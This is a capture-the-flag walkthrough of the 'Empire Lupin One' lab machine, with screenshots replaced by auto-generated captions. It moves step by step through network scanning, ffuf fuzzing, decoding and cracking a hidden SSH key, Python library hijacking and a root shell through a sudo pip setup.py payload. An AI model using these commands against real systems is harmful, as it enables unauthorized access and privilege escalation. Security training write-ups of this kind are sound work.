**EMPIRE LUPIN ONE**

* Discover hosts on the network.
* netdiscover -r 10.0.2.0/24

== Target ip is 10.0.2.11

* Scan the Target
* nmap -p- -sV -sC -oN lup.txt 10.0.2.11

A screenshot of a computer program

Description automatically generated

* Since HTTP is open and running on port 80 hit the IP from the web browser
  + <http://10.0.2.11:80>
    - Nothing much as the result just a page with an image. Page source also didn’t turn up anything useful
* Try accessing robots.txt {info present in nmap} from the browser
  + <http://10.0.2.11:80/robots.txt>

A screenshot of a computer

Description automatically generated

* Try hitting myfiles from the browser
  + <http://10.0.2.11:80/~myfiles>
    - This just returned an error page. Nothing useful in the page source here either
* Next Try Directory Busting using dirb
  + dirb <http://10.0.2.11/~myfiles>

A computer screen shot of a computer

Description automatically generated

* Try accessing index.html from the browser
  + <http://10.0.2.11/~myfiles/index.html>
    - Error page again. Nothing useful
* Both /~myfiles and index.html had a message “you can do it keep trying” in the page source. May be something is still there in the webserver something not so obvious. To find out try fuzzing the URL.

**Fuzzing throws invalid, unexpected, random inputs at the computer to stress it so that there is an unexpected behavior, resource leaks, or crashes.** We can use ***ffuf*** to fuzz the URL and discover hidden directories.

* + ffuf -w /usr/share/wfuzz/wordlist/general/common.txt -u http://10.0.2.11/~FUZZ -v

A screenshot of a computer

Description automatically generated

* We have a folder called secret from fuzzing 10.0.2.11 Access this folder from the web browser and we get the following message from the creator of the box

A screenshot of a computer

Description automatically generated

* Lets try fuzzing again with a directory list downloaded from git hub. The below command uses the wordlist and hits the target url until a match is found. We are looking for hidden files or directories (if any) within /secret since the messafe above states that the SSH private key file is hidden somewhere in that URL. We are specifically looking for a txt or html file hidden in the URL hence “.FUZZ”
  + <https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/directory-list-2.3-big.txt> [Wordlist downloads]
  + ffuf -c -ic -w /home/adithya/directory-list-2.3-big.txt -u 'http://10.0.2.11/~secret/.FUZZ' -fc 403 -e .txt,.html

A screen shot of a computer

Description automatically generated

* We have found a hidden txt file called mysecret.txt. Access this from the browser and we can see an encrypted text. This could be the ssh private key. We need to decode this and find out the private key. For that we need to ID the encoding used
  + <http://10.0.2.11/~secret/.mysecret.txt>
* To id the encoding used we can do a google search for online tools that can tell us the encoding from the encoded message. One such tool is given below
  + <https://www.dcode.fr/cipher-identifier>

A screen shot of a computer

Description automatically generated

* Put the above message into the cipher identifier to find the type of encoding used

A screenshot of a computer

Description automatically generated

* Strongest possibility is that this could be a base58 encoding. We can use cyberchef or any other online tool to try and decode this not that we know the type of encoding used. Try online base58 decoder. This returns another set of encrypted strings
* Copy the encrypted string into a txt file (PrivateKeySSH.txt) and use ssh2john to generate the hash and place that in a new file
  + python /usr/share/john/ssh2john.py PrivateKeySSH.txt > hash\_empire\_lupin.hash
* Next crack the hash using JohnTheRipper. In the message from the secret folder it is mentioned that the private key is hidden so that no one can crack it using fasttrack. When we do a google search on fasttrack we get all kinds of random results. Let us park that aside and look at the syntax of john the ripper. Simply doing a locate fasttrack on kali returned a file named fasttrack.txt in usr/share.wordlists. looks like it’s a default wordlist in kali. Run John
  + john --wordlist=/usr/share/wordlists/fasttrack.txt hash\_empire\_lupin.hash
* and we have the Password which is **P@55w0rd!**
* save the private key in a .rsa file
  + nano sshkey1.rsa

A computer screen shot of a program

Description automatically generated

* Next we can open an ssh connection into the victim machine. For that we need a userID. IN this case it could be icex64. Check if this works.
  + ssh -i sshkey1.rsa [icex64@10.0.2.11](mailto:icex64@10.0.2.11)
  + enter password and we have a shell
* We need to find out what all can icex64 can run as root there are a couple of ways to do this
  + Sudo -l [identifies the rights and privileges of the current user]
  + find / -perm -u=s -type f 2>/dev/null [can find all the directories and files under root in the system]

A screenshot of a computer program

Description automatically generated

* from sudo l we can see that a user arsene can run heist.py file as root. If we can switch user to arsene then we can edit the python file and get a root shell based on that users permissions. Lets check what is written in heist.py

A screen shot of a computer code

Description automatically generated

* This is a python script that imports python’s webbrowser module. Based on the permissions for this module it can be susceptible to python library hijacking. But in order to know that we need to find it first.
* Tried finding the webbrowser.py file using locate command. But it did not work. Since we are trying to escalate privileges we can try running the linpeas or LinEnum scripts that searches for all possible paths to escalate privileges. Download and run the linpeas script
  + <https://github.com/carlospolop/PEASS-ng/releases/>
  + <https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh>
  + ./linpeas.sh
  + ./LinEnum.sh -k webbrowser -r report -e /tmp/ -t
  + Cd /usr/lib/python3.9

A screenshot of a computer

Description automatically generated

* Edit the web browser.py script to call a shell for arsene. Since icex64 cannot run anything as root we need to switch the user to arsene

A computer screen shot of a code

Description automatically generated

* Now to find what privileges and rights the user arsene has
  + Sudo -l

A computer code on a black background

Description automatically generated

* Looks like arsene can run pip as root. Based on this we can perform privilege escalation using pip
  + TF=$(mktemp -d)
  + echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
  + sudo pip install $TF

A blurry image of a black background

Description automatically generated

* We have a root shell and now we can find the root flag from the root directory.

A screen shot of a computer screen

Description automatically generated